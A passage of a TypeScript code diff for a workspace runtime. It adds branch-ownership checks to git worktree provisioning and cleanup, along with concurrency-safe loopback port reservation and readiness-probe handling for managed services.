+    await provisionExecutionWorktree({
+      strategy: rawStrategy,
+      base: input.base,
+      repoRoot,
+      worktreePath,
+      branchName,
+      issue: input.issue,
+      agent: input.agent,
+      created: true,
+      recorder: input.recorder ?? null,
+    });
+    return {
+      ...input.base,
+      repoRef: baseRef,
+      strategy: "git_worktree",
+      cwd: worktreePath,
+      branchName,
+      worktreePath,
+      warnings: baseRefreshWarnings,
+      // The worktree is new, but the pinned branch pre-existed: it stays
+      // operator-owned so terminal cleanup never deletes it.
+      created: true,
+      branchCreatedByRuntime: false,
+      baseRefSha: currentBaseRefSha,
+    };
+  }
+
+  // No reusable worktree exists, so a fresh `git worktree add -b <branch> <baseRef>`
+  // must run next. An unresolved base ref would make git fail with
+  // `fatal: invalid reference`. Stop here instead and raise a pre-dispatch
+  // configuration failure that the setup catch routes to a human owner.
+  if (!baseRefResolution.resolved) {
+    throw new UnresolvedWorkspaceBaseRefError({
+      requestedRef: baseRefResolution.requestedRef,
+      recoveryIdentityRef: baseRefResolution.recoveryIdentityRef,
+      attemptedRefs: baseRefResolution.attemptedRefs,
+      fetchError: baseRefResolution.fetchError,
+    });
+  }
+
+  let branchCreatedByRuntime = true;
   try {
     await recordGitOperation(input.recorder, {
       phase: "worktree_prepare",
@@ -2939,6 +3585,9 @@ export async function realizeExecutionWorkspace(input: {
         successMessage: `Attached existing branch ${branchName} at ${worktreePath}\n`,
         failureLabel: `git worktree add ${worktreePath}`,
       });
+      // The template rendered to a branch that already existed, so this
+      // attach did not create the branch and cleanup must not delete it.
+      branchCreatedByRuntime = false;
     } catch (attachError) {
       if (!gitErrorIncludes(attachError, "already checked out")) {
         throw attachError;
@@ -2971,6 +3620,7 @@ export async function realizeExecutionWorkspace(input: {
     worktreePath,
     warnings: baseRefreshWarnings,
     created: true,
+    branchCreatedByRuntime,
     baseRefSha: currentBaseRefSha,
   };
 }
@@ -3021,6 +3671,11 @@ export async function ensurePersistedExecutionWorkspaceAvailable(input: {
     worktreePath: strategy === "git_worktree" ? (input.workspace.providerRef ?? cwd) : null,
     warnings: [],
     created: false,
+    // Only the versioned ownership record introduced with branch-level
+    // ownership semantics can authorize branch recreation or deletion. Older
+    // createdByRuntime=true rows described worktree ownership, so trusting
+    // them here could recreate or later delete an operator-owned branch.
+    branchCreatedByRuntime: isRuntimeOwnedGitBranch(input.workspace.metadata),
     baseRefSha: readRecordedBaseRefSha(input.workspace.metadata),
   };
   const provisionCommand = asString(input.workspace.config?.provisionCommand, "").trim();
@@ -3031,13 +3686,35 @@ export async function ensurePersistedExecutionWorkspaceAvailable(input: {
     }
     return realized;
   }
-  const repoRoot = await runGit(["rev-parse", "--show-toplevel"], input.base.baseCwd);
+  // Validate the base checkout before the git spawn. A missing or empty base
+  // path makes the "git" spawn fail with a raw "spawn git ENOENT" error. That
+  // error hides the real cause: the base project checkout is not on disk.
+  // Throw a clear cause first so a future failure names the missing checkout.
+  // Keep the persisted path exact. A directory name can start or end with a
+  // space, so a trim would change a valid checkout path.
+  const baseCwd = asString(input.base.baseCwd, "");
+  if (!baseCwd) {
+    throw new Error(
+      "Cannot rebuild the git worktree: the base project checkout path is empty.",
+    );
+  }
+  if (!await directoryExists(baseCwd)) {
+    throw new Error(
+      "Cannot rebuild the git worktree: the base project checkout directory does not exist.",
+    );
+  }
+  const repoRoot = await runGit(["rev-parse", "--show-toplevel"], baseCwd);
   const recordedBaseRefSha = readRecordedBaseRefSha(input.workspace.metadata);
   if (await directoryExists(cwd)) {
     const reuseBaseRef = input.workspace.baseRef ?? input.base.repoRef ?? null;
     const reuseWorktreePath = realized.worktreePath ?? cwd;
     const repairWarnings: string[] = [];
-    if (await isGitCheckout(reuseWorktreePath)) {
+    if (await isGitCheckout(reuseWorktreePath) && realized.branchCreatedByRuntime) {
+      // Branch-coherence repair may check out another branch, adopt a forward
+      // branch, or move the recorded ref from a detached HEAD. Those repairs
+      // are valid only for a branch that this runtime created. An attached
+      // operator-owned branch must retain its exact identity and tip; the
+      // validation below rejects any mismatch without mutating Git state.
       const coherence = await ensureGitWorktreeBranchCoherent({
         db: input.db ?? null,
         repoRoot,
@@ -3082,7 +3759,9 @@ export async function ensurePersistedExecutionWorkspaceAvailable(input: {
       ? await refreshRemoteTrackingBaseRef(repoRoot, reuseBaseRef, input.resolveGitAuth)
       : [];
     const currentBaseRefSha = reuseBaseRef ? await resolveBaseRefSha(repoRoot, reuseBaseRef) : null;
-    const refresh = reuseBaseRef && currentBaseRefSha
+    // An unstarted-worktree refresh can fast-forward the checked-out branch.
+    // Never run it for an attached operator-owned ref.
+    const refresh = realized.branchCreatedByRuntime && reuseBaseRef && currentBaseRefSha
       ? await refreshUnstartedWorktreeToBase({
           repoRoot,
           worktreePath: reuseWorktreePath,
@@ -3102,22 +3781,20 @@ export async function ensurePersistedExecutionWorkspaceAvailable(input: {
     });
     realized.warnings = [...repairWarnings, ...baseRefreshWarnings, ...baseDrift.warnings];
     realized.baseRefSha = refresh.baseRefSha ?? recordedBaseRefSha ?? baseDrift.branchBaseRefSha ?? baseDrift.currentBaseRefSha;
-    if (provisionCommand) {
-      await provisionExecutionWorktree({
-        strategy: {
-          type: "git_worktree",
-          provisionCommand,
-        },
-        base: input.base,
-        repoRoot,
-        worktreePath: realized.worktreePath ?? cwd,
-        branchName: realized.branchName ?? "",
-        issue: input.issue,
-        agent: input.agent,
-        created: false,
-        recorder: input.recorder ?? null,
-      });
-    }
+    await provisionExecutionWorktree({
+      strategy: {
+        type: "git_worktree",
+        ...(provisionCommand ? { provisionCommand } : {}),
+      },
+      base: input.base,
+      repoRoot,
+      worktreePath: realized.worktreePath ?? cwd,
+      branchName: realized.branchName ?? "",
+      issue: input.issue,
+      agent: input.agent,
+      created: false,
+      recorder: input.recorder ?? null,
+    });
     return realized;
   }
 
@@ -3161,6 +3838,11 @@ export async function ensurePersistedExecutionWorkspaceAvailable(input: {
     ) {
       throw error;
     }
+    if (!realized.branchCreatedByRuntime) {
+      throw new Error(
+        `Execution workspace "${worktreePath}" cannot be restored because its operator-owned branch "${branchName}" no longer exists.`,
+      );
+    }
     const baseRef = input.workspace.baseRef ?? await detectDefaultBranch(repoRoot) ?? "HEAD";
     const recreatedBaseRefSha = await resolveBaseRefSha(repoRoot, baseRef);
     await recordGitOperation(input.recorder, {
@@ -3212,6 +3894,7 @@ export async function ensurePersistedExecutionWorkspaceAvailable(input: {
     worktreePath,
     warnings: [...restoreRefreshWarnings, ...baseDrift.warnings],
     created,
+    branchCreatedByRuntime: realized.branchCreatedByRuntime || created,
     baseRefSha:
       recordedBaseRefSha
       ?? (created ? restoreCurrentBaseRefSha : baseDrift.branchBaseRefSha)
@@ -3372,7 +4055,12 @@ export async function cleanupExecutionWorkspaceArtifacts(input: {
       warnings.push(`Could not read worktree instance pointer: ${err instanceof Error ? err.message : String(err)}`);
     }
   }
+  // Local-directory ownership keeps the historical createdByRuntime signal.
+  // Git branch deletion additionally requires the version marker introduced
+  // with branch-level ownership semantics. Unmarked legacy rows fail closed:
+  // their worktrees are removable, but their branch refs are operator-owned.
   const createdByRuntime = input.workspace.metadata?.createdByRuntime === true;
+  const branchCreatedByRuntime = isRuntimeOwnedGitBranch(input.workspace.metadata);
   const cleanupCommands = input.runCleanupCommands === false
     ? []
     : [
@@ -3459,7 +4147,7 @@ export async function cleanupExecutionWorkspaceArtifacts(input: {
         }
       }
     }
-    if (createdByRuntime && input.workspace.branchName) {
+    if (branchCreatedByRuntime && input.workspace.branchName) {
       if (!repoRoot) {
         warnings.push(`Could not resolve git repo root to delete branch "${input.workspace.branchName}".`);
       } else {
@@ -3539,7 +4227,46 @@ export async function cleanupExecutionWorkspaceArtifacts(input: {
   };
 }
 
-async function allocatePort(): Promise<number> {
+/**
+ * Ports this process has handed to a starting runtime service but that no listener owns yet.
+ * The kernel will happily hand the same ephemeral port to two concurrent `listen(0)` probes
+ * once each probe socket closes, which is how two isolated workspaces starting at the same
+ * moment ended up fighting over one port pair. Reserving the port for the duration of the
+ * start makes concurrent allocations distinct.
+ */
+const inFlightAllocatedPorts = new Map<number, number>();
+const PORT_RESERVATION_TTL_MS = 120_000;
+const PORT_ALLOCATION_ATTEMPTS = 12;
+
+export function resetRuntimeServicePortReservationsForTests() {
+  inFlightAllocatedPorts.clear();
+}
+
+function reservePortIfFree(port: number, now = Date.now()): boolean {
+  const heldUntil = inFlightAllocatedPorts.get(port);
+  if (heldUntil !== undefined && heldUntil > now) return false;
+  inFlightAllocatedPorts.set(port, now + PORT_RESERVATION_TTL_MS);
+  return true;
+}
+
+/**
+ * Claim the loopback port a start is about to bind. A configured port that reads free right now
+ * can still be taken by a sibling workspace that is mid-start — neither has bound yet and
+ * neither has a persisted row — so the claim is what makes the loser fail terminally here
+ * instead of racing to bind and then hanging on a readiness probe it can never satisfy.
+ * A start already holding the port from its own allocation must not be refused by itself.
+ */
+export function claimRuntimeServiceBindPort(bindPort: number, alreadyReservedPort: number | null) {
+  if (bindPort === alreadyReservedPort) return true;
+  return reservePortIfFree(bindPort);
+}
+
+function releasePortReservation(port: number | null | undefined) {
+  if (typeof port !== "number") return;
+  inFlightAllocatedPorts.delete(port);
+}
+
+async function probeEphemeralPort(): Promise<number> {
   return await new Promise<number>((resolve, reject) => {
     const server = net.createServer();
     server.listen(0, "127.0.0.1", () => {
@@ -3560,6 +4287,559 @@ async function allocatePort(): Promise<number> {
   });
 }
 
+/**
+ * Execution workspaces whose exclusive lease is still open.
+ *
+ * "Open" is deliberately generous — every non-archived, non-closed status
+ * counts — because the reservation must outlive the *process*, not track it.
+ * A lane that is stopped, torn down, and reported `removed` still owns its
+ * pair until the workspace itself is released (PAP-17419).
+ */
+async function readActiveExecutionWorkspaceLeases(db: Db | undefined, companyId: string): Promise<Set<string>> {
+  if (!db) return new Set<string>();
+  const rows = await db
+    .select({ id: executionWorkspaces.id })
+    .from(executionWorkspaces)
+    .where(
+      and(
+        eq(executionWorkspaces.companyId, companyId),
+        inArray(executionWorkspaces.status, [...OPEN_EXECUTION_WORKSPACE_LEASE_STATUSES]),
+        isNull(executionWorkspaces.closedAt),
+      ),
+    );
+  return new Set(rows.map((row) => row.id));
+}
+
+/**
+ * Every reservation view the allocator must respect, merged into one ledger.
+ *
+ * This replaced a set-of-ports that only ever saw rows whose `exposure.state`
+ * was not `removed`. That view could not represent the case that actually
+ * broke: a leased workspace whose exposure had been torn down. See
+ * `port-reservation.ts` for why the pair is re-derived from the `port` column.
+ */
+async function buildCompanyExposureReservationLedger(input: {
+  db?: Db;
+  companyId: string;
+  brokerMappings?: BrokerMappingSnapshot[];
+}): Promise<ExposureReservationLedger> {
+  const inMemoryRuntimes: InMemoryExposureSnapshot[] = [];
+  for (const record of runtimeServicesById.values()) {
+    if (record.companyId !== input.companyId || !record.exposure) continue;
+    inMemoryRuntimes.push({
+      runtimeServiceId: record.id,
+      executionWorkspaceId: record.executionWorkspaceId,
+      projectWorkspaceId: record.projectWorkspaceId,
+      issueId: record.issueId,
+      ports: record.exposure.listeners.map((listener) => listener.targetPort),
+    });
+  }
+
+  const persistedRows: PersistedExposureRowSnapshot[] = input.db
+    ? (
+      await input.db
+        .select({
+          id: workspaceRuntimeServices.id,
+          status: workspaceRuntimeServices.status,
+          port: workspaceRuntimeServices.port,
+          exposure: workspaceRuntimeServices.exposure,
+          executionWorkspaceId: workspaceRuntimeServices.executionWorkspaceId,
+          projectWorkspaceId: workspaceRuntimeServices.projectWorkspaceId,
+          issueId: workspaceRuntimeServices.issueId,
+        })
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.companyId, input.companyId))
+    ).map((row) => ({
+      id: row.id,
+      status: row.status,
+      port: row.port,
+      exposure: row.exposure,
+      executionWorkspaceId: row.executionWorkspaceId,
+      projectWorkspaceId: row.projectWorkspaceId,
+      issueId: row.issueId,
+    }))
+    : [];
+
+  return buildExposureReservationLedger({
+    persistedRows,
+    inMemoryRuntimes,
+    brokerMappings: input.brokerMappings ?? [],
+    quarantinedPorts: quarantinedRuntimeExposurePorts,
+    activeExecutionWorkspaceIds: await readActiveExecutionWorkspaceLeases(input.db, input.companyId),
+    inFlightClaimedPorts: exposurePortPairClaims.activePorts(),
+  });
+}
+
+/**
+ * Rows Paperclip reports stopped/removed whose reserved pair is still live on
+ * the host or still mapped to someone else (PAP-17419 regression #3).
+ *
+ * The point is visibility. A false `stopped`/`removed` row used to be
+ * indistinguishable from a genuinely released one, so the pair silently
+ * returned to the free list and the next managed start collided with — or
+ * adopted — an unrelated workspace's service. Surfacing it does not stop or
+ * mutate the occupying service; that stays the owning issue's call.
+ */
+async function detectPersistedExposureReservationDrift(input: {
+  rows: ReadonlyArray<{
+    id: string;
+    status: string;
+    port: number | null;
+    exposure: RuntimeExposureStatus | null;
+    executionWorkspaceId: string | null;
+    projectWorkspaceId: string | null;
+    issueId: string | null;
+  }>;
+  ownedListeners: Awaited<ReturnType<BrokerClient["list"]>> | null;
+}) {
+  const snapshots: PersistedExposureRowSnapshot[] = input.rows.map((row) => ({
+    id: row.id,
+    status: row.status,
+    port: row.port,
+    exposure: row.exposure,
+    executionWorkspaceId: row.executionWorkspaceId,
+    projectWorkspaceId: row.projectWorkspaceId,
+    issueId: row.issueId,
+  }));
+
+  // Probe only the ports dormant rows actually reserve; a startup sweep must not
+  // walk the whole dedicated range.
+  const candidatePorts = new Set<number>();
+  for (const row of snapshots) {
+    if (row.status !== "stopped" && row.status !== "failed" && row.exposure && row.exposure.state !== "removed") {
+      continue;
+    }
+    for (const port of collectRowExposurePorts(row)) candidatePorts.add(port);
+  }
+
+  const livePorts = new Set<number>();
+  for (const port of candidatePorts) {
+    // "Not bindable" is the liveness signal the rest of this module already uses.
+    const available = await workspaceRuntimeExposureDeps.isPortAvailable(port).catch(() => true);
+    if (!available) livePorts.add(port);
+  }
+
+  return findExposureReservationDrift({
+    persistedRows: snapshots,
+    livePorts,
+    listenerOwners: await readExposureListenerOwners([...livePorts]),
+    brokerMappings: (input.ownedListeners ?? []).map((listener) => ({
+      runtimeId: listener.runtimeId,
+      port: listener.port,
+    })),
+  });
+}
+
+/** Paperclip-owned Serve mappings, or null when the broker cannot be read. */
+async function readBrokerExposureMappings(): Promise<BrokerMappingSnapshot[] | null> {
+  try {
+    const owned = await workspaceRuntimeExposureDeps.broker.list();
+    return owned.map((listener) => ({ runtimeId: listener.runtimeId, port: listener.port }));
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Resolve who owns the process listening on each of a pair's ports.
+ *
+ * A port with no listener is absent from the map; a port with a listener we
+ * cannot attribute maps to `null`, which the mediator treats as a conflict.
+ * Attribution goes through this process's own runtime records: a pid we did not
+ * start is by definition not ours to adopt.
+ */
+async function readExposureListenerOwners(ports: number[]): Promise<Map<number, ExposureOwnerIdentity | null>> {
+  const owners = new Map<number, ExposureOwnerIdentity | null>();
+  for (const port of ports) {
+    const ownerPid = await readLocalServicePortOwner(port).catch(() => null);
+    if (!ownerPid) continue;
+    let identity: ExposureOwnerIdentity | null = null;
+    for (const record of runtimeServicesById.values()) {
+      const recordPid = record.child?.pid ?? null;
+      if (recordPid === null) continue;
+      if (recordPid !== ownerPid && record.processGroupId !== ownerPid) continue;
+      identity = {
+        runtimeServiceId: record.id,
+        executionWorkspaceId: record.executionWorkspaceId,
+        projectWorkspaceId: record.projectWorkspaceId,
+        issueId: record.issueId,
+      };
+      break;
+    }
+    owners.set(port, identity);
+  }
+  return owners;
+}
+
+async function allocateAndReserveExposure(input: {
+  db?: Db;
+  companyId: string;
+  runtimeId: string;
+  config: RuntimeExposureConfigInput;
+  /** Identity claiming the pair; governs every ownership decision below. */
+  claimant: ExposureOwnerIdentity;
+  /** Port this runtime already used, preserved when it is still safe to use. */
+  preferredAppPort?: number | null;
+}): Promise<{ appPort: number; hmrPort: number; status: RuntimeExposureStatus; handle: string }> {
+  const brokerMappings = await readBrokerExposureMappings();
+  const ledger = await buildCompanyExposureReservationLedger({
+    db: input.db,
+    companyId: input.companyId,
+    brokerMappings: brokerMappings ?? [],
+  });
+  // Serve mappings are checked as their own view, not folded into the ledger:
+  // an unreadable broker must not silently downgrade to "no mapping exists".
+  const serveMappingOwners = new Map<number, ExposureOwnerIdentity | null>();
+  for (const mapping of brokerMappings ?? []) {
+    serveMappingOwners.set(mapping.port, ledger.reservationByPort.get(mapping.port)?.owner ?? null);
+  }
+
+  // Reserve only what this claimant may NOT have. A leaseholder restarting its
+  // own lane has to be offered its own pair back, or every restart would walk
+  // the range and undo "keep existing runtime ports when safe" (PAP-17158).
+  // Quarantined ports are withheld from everyone, including the owner.
+  const reserved = new Set<number>();
+  for (const [port, reservation] of ledger.reservationByPort) {
+    if (reservation.source === "quarantine" || !isExposureAdoptionPermitted(reservation.owner, input.claimant)) {
+      reserved.add(port);
+    }
+  }
+  const retryable = new Set(["reservation_conflict", "manual_mapping_present", "quarantined"]);
+  const claimed: Array<{ appPort: number; hmrPort: number }> = [];
+  let preferredAppPort = input.preferredAppPort ?? null;
+  try {
+    while (true) {
+      const pair = await allocateExposurePortPair({
+        isPortAvailable: workspaceRuntimeExposureDeps.isPortAvailable,
+        reserved,
+        preferredAppPort,
+        claimPair: (candidate) => exposurePortPairClaims.claim(candidate),
+      });
+      claimed.push(pair);
+
+      // Complete mediation before the broker is asked for anything: persisted
+      // reservations were already folded into `reserved`, so what remains is the
+      // live host — the listener actually bound, and the Serve mapping actually
+      // published. Either one belonging to a different execution workspace is
+      // terminal, never an adoption.
+      const conflict = findExposurePairConflict({
+        pair,
+        claimant: input.claimant,
+        ledger,
+        listenerOwners: await readExposureListenerOwners([pair.appPort, pair.hmrPort]),
+        serveMappingOwners,
+      });
+      if (conflict) throw new ExposurePortOwnershipConflictError(conflict);
+
+      const result = await reserveExposure(workspaceRuntimeExposureDeps, {
+        runtimeId: input.runtimeId,
+        config: input.config,
+        appPort: pair.appPort,
+      });
+      if (result.handle) {
+        // Keep this pair's claim; the caller releases it on stop/teardown.
+        claimed.pop();
+        return { appPort: pair.appPort, hmrPort: pair.hmrPort, status: result.status, handle: result.handle };
+      }
+      if (!result.status.lastError || !retryable.has(result.status.lastError)) {
+        throw new Error(`HTTPS exposure reservation failed: ${result.status.lastError ?? "unknown broker error"}`);
+      }
+      reserved.add(pair.appPort);
+      reserved.add(pair.hmrPort);
+      // The preference lost its race with a conflicting/manual/quarantined
+      // mapping; drop it so the retry scans instead of re-offering the same port.
+      preferredAppPort = null;
+    }
+  } finally {
+    // Every pair this call took but did not hand back — rejected candidates and
+    // the in-flight pair on a thrown failure — goes back immediately. Leaving
+    // them held would burn the range down over a retry storm.
+    for (const pair of claimed) exposurePortPairClaims.release(pair);
+  }
+}
+
+async function canBindRuntimePort(port: number): Promise<boolean> {
+  return await new Promise<boolean>((resolve, reject) => {
+    const server = net.createServer();
+    server.once("error", (error: NodeJS.ErrnoException) => {
+      if (error.code === "EADDRINUSE" || error.code === "EACCES") {
+        resolve(false);
+        return;
+      }
+      reject(error);
+    });
+    server.listen(port, "127.0.0.1", () => {
+      server.close((error) => {
+        if (error) reject(error);
+        else resolve(true);
+      });
+    });
+  });
+}
+
+/**
+ * True when a loopback listener is present on the port, read WITHOUT binding it.
+ *
+ * The readiness wait must never bind the exact port the guest is about to bind.
+ * A probe `listen()` holds the port for the length of one bind/close, and if the
+ * guest's own `listen()` lands in that window the guest fails with EADDRINUSE on
+ * its assigned port. That self-inflicted race is the runtime exposure port flake
+ * (a slow guest under load loses the race to the parent probe). A `/proc` read
+ * carries the same "a listener appeared" signal with no bind. Where `/proc` is
+ * absent (non-Linux dev hosts), fall back to the bind probe; those hosts do not
+ * run the concurrent managed lanes that expose the race.
+ */
+async function hasLoopbackPortListener(port: number): Promise<boolean> {
+  const facts = await readListenerBindFacts(port).catch(() => null);
+  if (facts) return facts.present;
+  return !(await canBindRuntimePort(port));
+}
+
+/**
+ * True when one line of the failure text reports an EADDRINUSE bind conflict on
+ * the given port.
+ *
+ * Node prints the failing bind on a single line, for example
+ * `Error: listen EADDRINUSE: address already in use 127.0.0.1:42000`. The match
+ * requires the EADDRINUSE marker and the port on the SAME line. So an
+ * auxiliary-port conflict on one line cannot combine with an unrelated
+ * assigned-port mention on a different, benign line and trigger a wrong
+ * quarantine.
+ *
+ * Node formats a bind address as `host:port`, so the failing port always
+ * follows a colon (for example `127.0.0.1:42000` or `:::42000`). The match
+ * requires that colon and a full-number boundary. So a different port in the
+ * same line cannot look like the assigned app or HMR port, and port 4200 never
+ * matches `:42000`.
+ */
+function eaddrinuseTextNamesPort(text: string, port: number): boolean {
+  const eaddrinusePattern = /EADDRINUSE|address already in use/i;
+  const portPattern = new RegExp(`:${port}(?![0-9])`);
+  return text
+    .split(/\r?\n/)
+    .some((line) => eaddrinusePattern.test(line) && portPattern.test(line));
+}
+
+/** Live host listener state for one assigned exposure port, read after a failure. */
+export interface ExposurePortHostState {
+  port: number;
+  /** True when the failure text reports EADDRINUSE for this port on one line. */
+  named: boolean;
+  /** True when a real listener holds the port now (from /proc or lsof). */
+  listenerPresent: boolean;
+  /** The listener pid, or null when unknown. */
+  ownerPid: number | null;
+  /** The process group id of the listener owner, or null when unknown. */
+  ownerProcessGroupId: number | null;
+}
+
+/**
+ * Decide which assigned exposure ports a real host listener owns after a guest
+ * start failure.
+ *
+ * The guest owns its own output, so an assigned-port EADDRINUSE line is a claim,
+ * not proof. A managed guest can print a synthetic EADDRINUSE line for its
+ * assigned port with no host listener behind it. A quarantine on that text alone
+ * would drain the shared exposure-port pool across repeated starts. So a port
+ * counts as a host collision only when all of the following hold:
+ * - the failure text names the port with EADDRINUSE, and
+ * - a real listener is present on the port now, and
+ * - the listener owner is not the guest process the runtime just launched, nor a
+ *   descendant of it.
+ *
+ * The runtime launches the guest as a shell process group leader, so the real dev
+ * server usually binds the port from a descendant, not the shell pid itself. The
+ * ownership test therefore matches the shell pid against both the owner pid and
+ * the owner process group id. This is the same process-group attribution that
+ * `isLocalServiceProcessOwnedBy` applies on the host platform. A raw pid equality
+ * would treat a guest descendant as an external owner and quarantine a valid pair.
+ *
+ * An unknown owner with a present listener counts as a host owner: the /proc read
+ * proves a listener, and a guest that lost its assigned port does not hold it.
+ */
+export function classifyExposureHostCollisions(input: {
+  childPid: number | null;
+  ports: ExposurePortHostState[];
+}): { hostCollisionPorts: number[]; hostCollision: boolean } {
+  const hostCollisionPorts: number[] = [];
+  for (const state of input.ports) {
+    const guestOwnsPort =
+      input.childPid != null &&
+      (state.ownerPid === input.childPid || state.ownerProcessGroupId === input.childPid);
+    if (state.named && state.listenerPresent && !guestOwnsPort) {
+      hostCollisionPorts.push(state.port);
+    }
+  }
+  return { hostCollisionPorts, hostCollision: hostCollisionPorts.length > 0 };
+}
+
+async function readReservedRuntimePorts(input: {
+  db?: Db;
+  ports: number[];
+  executionWorkspaceId: string | null;
+}) {
+  if (!input.db || input.ports.length === 0) return new Set<number>();
+  const lowerBound = Math.min(...input.ports);
+  const upperBound = Math.max(...input.ports);
+  const otherWorkspaceCondition = input.executionWorkspaceId
+    ? or(
+        isNull(workspaceRuntimeServices.executionWorkspaceId),
+        ne(workspaceRuntimeServices.executionWorkspaceId, input.executionWorkspaceId),
+      )
+    : undefined;
+  const rows = await input.db
+    .select({ port: workspaceRuntimeServices.port })
+    .from(workspaceRuntimeServices)
+    .where(
+      and(
+        inArray(workspaceRuntimeServices.status, [...ACTIVE_RUNTIME_PORT_RESERVATION_STATUSES]),
+        gte(workspaceRuntimeServices.port, lowerBound),
+        lte(workspaceRuntimeServices.port, upperBound),
+        otherWorkspaceCondition,
+      ),
+    );
+  return new Set(rows.flatMap((row) => row.port === null ? [] : [row.port]));
+}
+
+async function buildRuntimePortAllocationConflict(input: {
+  db?: Db;
+  companyId: string;
+  executionWorkspaceId: string | null;
+  preferredPort: number;
+  attemptedPorts: number[];
+}) {
+  const conflictRows = input.db && input.attemptedPorts.length > 0
+    ? await input.db
+        .select({
+          port: workspaceRuntimeServices.port,
+          executionWorkspaceId: workspaceRuntimeServices.executionWorkspaceId,
+          projectWorkspaceId: workspaceRuntimeServices.projectWorkspaceId,
+        })
+        .from(workspaceRuntimeServices)
+        .where(
+          and(
+            eq(workspaceRuntimeServices.companyId, input.companyId),
+            inArray(workspaceRuntimeServices.status, [...ACTIVE_RUNTIME_PORT_RESERVATION_STATUSES]),
+            inArray(workspaceRuntimeServices.port, input.attemptedPorts),
+            input.executionWorkspaceId
+              ? or(
+                  isNull(workspaceRuntimeServices.executionWorkspaceId),
+                  ne(workspaceRuntimeServices.executionWorkspaceId, input.executionWorkspaceId),
+                )
+              : undefined,
+          ),
+        )
+    : [];
+  const attemptedRank = new Map(input.attemptedPorts.map((port, index) => [port, index]));
+  const authorizedConflict = conflictRows
+    .sort((left, right) =>
+      (attemptedRank.get(left.port ?? -1) ?? Number.MAX_SAFE_INTEGER)
+      - (attemptedRank.get(right.port ?? -1) ?? Number.MAX_SAFE_INTEGER))
+    .find((row) => row.executionWorkspaceId || row.projectWorkspaceId) ?? null;
+  const remediation =
+    "Stop the conflicting managed service or configure a different preferred port, then retry the start.";
+
+  return conflict(
+    `No safe runtime service port is available in the bounded allocation range starting at ${input.preferredPort}.`,
+    {
+      code: "workspace_runtime_port_allocation_exhausted",
+      port: input.preferredPort,
+      attemptedPortCount: input.attemptedPorts.length,
+      ...(authorizedConflict?.executionWorkspaceId
+        ? { conflictingExecutionWorkspaceId: authorizedConflict.executionWorkspaceId }
+        : {}),
+      ...(authorizedConflict?.projectWorkspaceId
+        ? { conflictingProjectWorkspaceId: authorizedConflict.projectWorkspaceId }
+        : {}),
+      remediation,
+    },
+  );
+}
+
+async function allocateIsolatedWorkspacePort(input: {
+  db?: Db;
+  companyId: string;
+  executionWorkspaceId: string;
+  preferredPort: number;
+  stoppedPort: number | null;
+  excludedPorts: ReadonlySet<number>;
+}) {
+  const lastPort = Math.min(
+    65_535,
+    input.preferredPort + WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS - 1,
+  );
+  const candidates: number[] = [];
+  const addCandidate = (port: number | null) => {
+    if (
+      port === null
+      || port < input.preferredPort
+      || port > lastPort
+      || input.excludedPorts.has(port)
+      || candidates.includes(port)
+    ) return;
+    candidates.push(port);
+  };
+  addCandidate(input.stoppedPort);
+  for (let port = input.preferredPort; port <= lastPort; port += 1) addCandidate(port);
+
+  const reservedPorts = await readReservedRuntimePorts({
+    db: input.db,
+    ports: candidates,
+    executionWorkspaceId: input.executionWorkspaceId,
+  });
+  for (const port of candidates) {
+    if (reservedPorts.has(port)) continue;
+    // Claim the candidate in-process before probing it: a sibling start that already holds it
+    // has not persisted a row yet, so `reservedPorts` cannot see it and both lanes would
+    // otherwise pick the same port (PAP-17249).
+    if (!reservePortIfFree(port)) continue;
+    if (await canBindRuntimePort(port)) return port;
+    releasePortReservation(port);
+  }
+  const attemptedPorts = [
+    ...input.excludedPorts,
+    ...candidates,
+  ].filter((port, index, ports) =>
+    port >= input.preferredPort
+    && port <= lastPort
+    && ports.indexOf(port) === index);
+
+  throw await buildRuntimePortAllocationConflict({
+    db: input.db,
+    companyId: input.companyId,
+    executionWorkspaceId: input.executionWorkspaceId,
+    preferredPort: input.preferredPort,
+    attemptedPorts,
+  });
+}
+
+
+/**
+ * Allocate a loopback port that no other in-flight managed start already holds and that no
+ * live process owns. Callers must {@link releasePortReservation} once the service either
+ * reached a terminal state or bound the port itself.
+ */
+export async function allocateRuntimeServicePort(overrides?: {
+  probe?: () => Promise<number>;
+  portOwnerLookup?: (port: number) => Promise<number | null>;
+}): Promise<number> {
+  const probe = overrides?.probe ?? probeEphemeralPort;
+  const portOwnerLookup = overrides?.portOwnerLookup ?? readLocalServicePortOwner;
+  let lastCandidate: number | null = null;
+  for (let attempt = 0; attempt < PORT_ALLOCATION_ATTEMPTS; attempt += 1) {
+    const candidate = await probe();
+    lastCandidate = candidate;
+    if (!reservePortIfFree(candidate)) continue;
+    const ownerPid = await portOwnerLookup(candidate);
+    if (!ownerPid) return candidate;
+    releasePortReservation(candidate);
+  }
+  throw new Error(
+    `Could not allocate a free loopback port for a managed runtime service after ${PORT_ALLOCATION_ATTEMPTS} attempts`
+      + `${lastCandidate ? ` (last candidate ${lastCandidate})` : ""}.`,
+  );
+}
+
 function buildTemplateData(input: {
   workspace: RealizedExecutionWorkspace;
   agent: ExecutionWorkspaceAgentRef;
@@ -3653,6 +4933,7 @@ function resolveRuntimeServiceReuseIdentity(input: {
               cwd: serviceCwd,
               port: identityPort,
               env: renderedEnv,
+              expose: input.service.expose ?? null,
             }),
           )
           .digest("hex")
@@ -3789,12 +5070,22 @@ export function resolveWorkspaceRuntimeReadinessTimeoutSec(service: Record<strin
   return looksLikeWorkspaceDevServerCommand(asString(service.command, "")) ? 90 : 30;
 }
 
-async function waitForReadiness(input: {
+/**
+ * Longest a single readiness probe may stay outstanding. Without this an unrelated process
+ * that accepts the connection but never answers (exactly what a reallocated port produces)
+ * parks `fetch` forever, the readiness deadline is never re-checked, and the managed start
+ * never reaches a terminal state.
+ */
+export const RUNTIME_SERVICE_READINESS_PROBE_TIMEOUT_MS = 5_000;
+
+export async function waitForRuntimeServiceReadiness(input: {
   service: Record<string, unknown>;
   serviceName?: string | null;
   command?: string | null;
   url: string | null;
   readinessUrl: string | null;
+  fetchImpl?: typeof fetch;
+  now?: () => number;
 }) {
   const readiness = parseObject(input.service.readiness);
   const readinessType = asString(readiness.type, "");
@@ -3807,23 +5098,75 @@ async function waitForReadiness(input: {
   if (!readinessUrl) {
     throw new Error(`Readiness check failed: could not resolve health URL for ${input.url}`);
   }
+  const fetchImpl = input.fetchImpl ?? fetch;
+  const now = input.now ?? Date.now;
